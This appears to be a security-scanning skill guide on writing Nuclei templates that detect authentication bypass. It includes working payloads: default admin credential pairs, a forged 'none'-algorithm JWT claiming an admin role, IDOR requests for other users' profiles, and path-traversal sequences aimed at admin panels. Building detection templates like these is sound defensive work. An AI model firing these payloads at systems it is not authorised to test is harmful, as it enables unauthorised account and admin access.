<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: building-authentication-bypass-templates
description: >-
  Build Nuclei templates for detecting authentication bypass vulnerabilities.
  Covers default credentials, session fixation, JWT manipulation, OAuth flaws,
  privilege escalation, and broken access control testing patterns.
domain: cybersecurity
subdomain: nuclei-templating
tags:
  - nuclei
  - authentication
  - bypass
  - access-control
  - templates
  - vulnerability-scanning
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1078"]
---

# Building Authentication Bypass Templates

## Overview

Authentication bypass templates detect flaws that allow attackers to access
protected resources without valid credentials. These templates test default
credentials, broken access controls, JWT weaknesses, session management
flaws, and authorization logic errors. They require careful construction to
avoid false positives from legitimate 200 responses that still enforce auth.

Mode: `[MODE: RED]` — Authentication and access control bypass detection.

## Prerequisites

| Requirement | Details |
|---|---|
| Nuclei v3+ (`nuclei -version`) | Required |
| Understanding of OAuth 2.0, JWT, session management | Required |
| Test environment with authentication-protected endpoints | Required |

## Key Concepts

### Default Credentials Detection

```yaml
id: default-admin-credentials

info:
  name: Default Admin Credentials Detection
  author: nerf
  severity: high
  description: |
    Tests common default credential pairs against login endpoints.
    Default credentials on production systems represent critical risk
    and are frequently exploited in automated attacks.
  classification:
    cwe-id: CWE-798
  tags: default-login,misconfig,auth-bypass
  metadata:
    max-request: 3

http:
  - raw:
      - |
        POST {{BaseURL}}/api/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{user}}","password":"{{pass}}"}

    payloads:
      user:
        - admin
        - root
        - administrator
      pass:
        - admin
        - password
        - admin123
    attack: clusterbomb
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"token"'
          - '"session"'
          - '"authenticated":true'
        condition: or
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
          - "invalid"
          - "failed"
          - "incorrect"
        negative: true
```

### JWT None Algorithm Bypass

```yaml
id: jwt-none-algorithm-bypass

info:
  name: JWT None Algorithm Authentication Bypass
  author: nerf
  severity: critical
  description: |
    Tests whether the application accepts JWT tokens signed with the
    'none' algorithm, allowing attackers to forge arbitrary tokens
    without knowledge of the signing secret.
  classification:
    cwe-id: CWE-347
  tags: jwt,auth-bypass,token,critical
  metadata:
    max-request: 2

http:
  - raw:
      - |
        GET {{BaseURL}}/api/profile HTTP/1.1
        Host: {{Hostname}}

      - |
        GET {{BaseURL}}/api/profile HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIn0.

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "admin") || contains(body_2, "email")'
        condition: and
      - type: dsl
        dsl:
          - '!contains(tolower(body_2), "invalid token")'
          - '!contains(tolower(body_2), "unauthorized")'
        condition: and
```

### Broken Access Control — IDOR

```yaml
id: idor-user-data-access

info:
  name: Insecure Direct Object Reference — User Data
  author: nerf
  severity: high
  description: |
    Detects IDOR vulnerabilities where authenticated users can access
    other users' data by modifying resource identifiers in API calls.
  classification:
    cwe-id: CWE-639
  tags: idor,access-control,auth-bypass,api
  metadata:
    max-request: 2

http:
  - raw:
      - |
        GET {{BaseURL}}/api/users/1/profile HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
      - |
        GET {{BaseURL}}/api/users/2/profile HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 && status_code_2 == 200'
      - type: dsl
        dsl:
          - 'contains(body_2, "email") && contains(body_2, "name")'
      - type: word
        part: body_2
        words:
          - "forbidden"
          - "unauthorized"
          - "access denied"
        negative: true
```

### Path Traversal Auth Bypass

```yaml
id: path-traversal-admin-bypass

info:
  name: Path Traversal Authentication Bypass
  author: nerf
  severity: critical
  description: |
    Tests for authentication bypass via path traversal sequences that
    reach admin endpoints while evading middleware auth checks.
  classification:
    cwe-id: CWE-22
  tags: path-traversal,auth-bypass,admin,critical
  metadata:
    max-request: 5

http:
  - method: GET
    path:
      - "{{BaseURL}}/..;/admin/"
      - "{{BaseURL}}/%2e%2e/admin/"
      - "{{BaseURL}}/admin;/"
      - "{{BaseURL}}/.;/admin/"
      - "{{BaseURL}}/admin/..;/admin/"
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "dashboard"
          - "admin panel"
          - "management"
        condition: or
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
          - "login"
          - "sign in"
          - "authenticate"
        negative: true
```

## Workflow

### Step 1: Validate Template

```bash
nuclei -t auth-bypass-template.yaml -validate
```

### Step 2: Scan Target

```bash
node scripts/agent.js --action scan --target https://app.example.com \
  --template auth-bypass-template.yaml --output /tmp/auth-scan.json
```

### Step 3: Verify No False Positives

```bash
node scripts/agent.js --action scan --target https://secure-app.example.com \
  --template auth-bypass-template.yaml --output /tmp/auth-verify.json
```

## Verification

- [ ] Negative matchers exclude legitimate login/error pages
- [ ] Default credential tests use `clusterbomb` attack type
- [ ] JWT templates verify token acceptance, not just 200 status
- [ ] IDOR templates confirm access to another user's data
- [ ] Path traversal templates test multiple encoding variants
- [ ] No real credentials or tokens hardcoded in templates
- [ ] `stop-at-first-match` used where appropriate

## References

- [OWASP Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
- [OWASP Authentication Testing](https://owasp.org/www-project-web-security-testing-guide/)
- [Nuclei HTTP Payloads](https://docs.projectdiscovery.io/templates/protocols/http/http-payloads)
- [JWT Attack Playbook](https://portswigger.net/web-security/jwt)
